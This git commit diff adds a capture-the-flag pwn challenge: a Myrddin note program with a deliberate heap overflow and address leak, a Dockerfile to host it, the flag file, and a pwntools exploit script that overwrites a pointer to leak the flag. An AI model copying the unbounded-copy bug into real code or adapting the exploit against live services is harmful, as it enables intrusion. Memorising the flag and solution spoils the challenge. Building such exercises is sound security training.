summaryrefslogtreecommitdiff
path: root/suckless2
diff options
context:
space:
mode:
Diffstat (limited to 'suckless2')
-rw-r--r--suckless2/.gitignore1
-rw-r--r--suckless2/Dockerfile22
-rw-r--r--suckless2/exploit.py43
-rw-r--r--suckless2/flag.txt5
-rw-r--r--suckless2/suckless2.myr101
5 files changed, 172 insertions, 0 deletions
diff --git a/suckless2/.gitignore b/suckless2/.gitignore
new file mode 100644
index 0000000..67b1909
--- /dev/null
+++ b/suckless2/.gitignore
@@ -0,0 +1 @@
+*.use
diff --git a/suckless2/Dockerfile b/suckless2/Dockerfile
new file mode 100644
index 0000000..97e8291
--- /dev/null
+++ b/suckless2/Dockerfile
@@ -0,0 +1,22 @@
+# Stolen from https://github.com/LiveOverflow/pwn_docker_example/blob/master/challenge/Dockerfile
+
+# docker build -t suckless2 .
+# docker run -d -p 8089:8089 --restart=always --name suckless2 suckless2
+
+FROM ubuntu:20.04
+
+RUN apt-get update
+
+RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf
+RUN echo "ctf:ctf" | chpasswd
+
+WORKDIR /home/ctf
+
+COPY suckless2 .
+COPY ynetd .
+
+RUN chown -R root:root /home/ctf
+
+USER ctf
+EXPOSE 8089
+CMD ./ynetd -p 8089 ./suckless2
diff --git a/suckless2/exploit.py b/suckless2/exploit.py
new file mode 100644
index 0000000..5ebdaf9
--- /dev/null
+++ b/suckless2/exploit.py
@@ -0,0 +1,43 @@
+import struct
+
+from pwn import *
+context(arch="x86_64", os="linux")
+
+FLAG_ADDR = 0x42a3cc
+
+p = process(["./suckless"], False, "./suckless")
+print("Here")
+# p = remote('34.75.105.136',1029)
+
+# Allocate first chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR))
+p.recvuntil("> ")
+p.sendline("show")
+p.recvuntil("address: ")
+dbg = int(p.recvline(), 16)
+
+# Allocate dummy chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"B" * 8))
+p.recvuntil("> ")
+p.sendline("show")
+
+# Overwrite versionptr.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline()
+p.recvuntil("> ")
+p.sendline("show")
+print(p.recvuntil("> "))
diff --git a/suckless2/flag.txt b/suckless2/flag.txt
new file mode 100644
index 0000000..cc400ee
--- /dev/null
+++ b/suckless2/flag.txt
@@ -0,0 +1,5 @@
+Patch this into the binary that ends up on the server.
+
+Obvious decoy is obvious. Hit the server, you fool.
+UMASS{dont_navigate_the_heap_with_a_broken_compass}
+
diff --git a/suckless2/suckless2.myr b/suckless2/suckless2.myr
new file mode 100644
index 0000000..df65df6
--- /dev/null
+++ b/suckless2/suckless2.myr
@@ -0,0 +1,101 @@
+use std
+
+var flag = "Obvious decoy is obvious. Hit the server, you fool."
+var version = "sldiary 0.1.1"
+
+const intro = {
+ std.put("(\\ \n")
+ std.put("\\'\\ \n")
+ std.put(" \\'\\ __________ \n")
+ std.put(" / '| ()_________)\n")
+ std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version)
+ std.put(" \\ \\ ~~~~~~ \\\n")
+ std.put(" ==). \\__________\\\n")
+ std.put(" (__) ()__________)\n")
+ std.put("\n")
+ std.put("type 'help' for available commands\n")
+}
+
+const showver = {
+ var tmp = flag
+ std.put("this is {}\n", version)
+}
+
+const addmsg = {n, buf -> byte#
+ var i
+ var msg = std.bytealloc(n)
+ for i = 0; buf[i] != ('\n' : byte); i++;
+ (((msg : std.size) + i) : byte#)# = buf[i]
+ ;;
+ -> msg
+}
+
+const msgstrconv = {n, msg
+ var i
+ var sb = std.mksb()
+ for i = 0; i < n; i++
+ std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char))
+ ;;
+ -> std.sbfin(sb)
+}
+
+const getln = {
+ var sb = std.mksb()
+ var buf = std.slalloc(0x40)
+ match std.read(std.In, buf)
+ | `std.Ok(n):
+ | `std.Err(n): std.die("i/o error")
+ ;;
+ std.sbputs(sb, buf)
+ -> std.sbfin(sb)
+}
+
+const main = {
+ intro()
+ var notes = std.slalloc(0)
+
+ var line
+ while true
+ std.put("> ")
+ line = getln()
+ if std.strhas(line, "help")
+ std.put("help: print this\n")
+ std.put("new: make a new note\n")
+ std.put("show: show all of your notes\n")
+ std.put("version: show the version of sldiary\n")
+ elif std.strhas(line, "new")
+ std.put("note length: ")
+ std.slfree(line)
+ line = getln()
+ var len
+ match std.strfind(line, "\n")
+ | `std.Some(n): line = line[:n]
+ | `std.None:
+ ;;
+ match std.intparse(line)
+ | `std.Some(n): len = n
+ | `std.None: std.put("invalid length\n"); continue
+ ;;
+ std.put("note: ")
+ std.slfree(line)
+ line = getln()
+ var msg = addmsg(len, line)
+ notes = std.slpush(&notes, (len, msg))
+ elif std.strhas(line, "show")
+ var i
+ for i = 0; i < notes.len; i++;
+ var len, msg
+ (len, msg) = notes[i]
+ std.put("address: {}\n", (msg : byte#))
+ std.put("{}: {}\n", i, msgstrconv((len : uint64), msg))
+ ;;
+ elif std.strhas(line, "version")
+ showver()
+ else
+ std.put("invalid command\n")
+ ;;
+ std.slfree(line)
+ ;;
+
+ std.slfree(notes)
+}